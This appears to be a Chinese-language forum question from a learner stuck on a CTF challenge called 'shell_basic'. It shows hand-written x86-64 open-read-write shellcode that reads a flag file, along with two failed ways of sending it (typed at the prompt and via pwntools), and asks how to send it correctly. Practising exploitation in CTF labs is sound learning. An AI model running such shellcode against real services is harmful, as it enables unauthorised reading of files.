我在本地编写了 orw.c，成功读取了我在本地存放的/home/shell_basic/flag_name_is_loooooong 本地的假flag。但是我通过使用多种方法发送payload都失败了。
方法一：直接发送

whoami@ubuntu ~/D/d/shell_basic> ./shell_basic
shellcode: \x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05
fish: “./shell_basic” terminated by signal SIGILL (Illegal instruction)

方法二：使用pwntools发送（截取部分代码）

shellcode = b'\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05'
io.recvuntil('shellcode: ')
io.send(shellcode)

结果： b'shellcode: '

请问，我应该怎么发送?
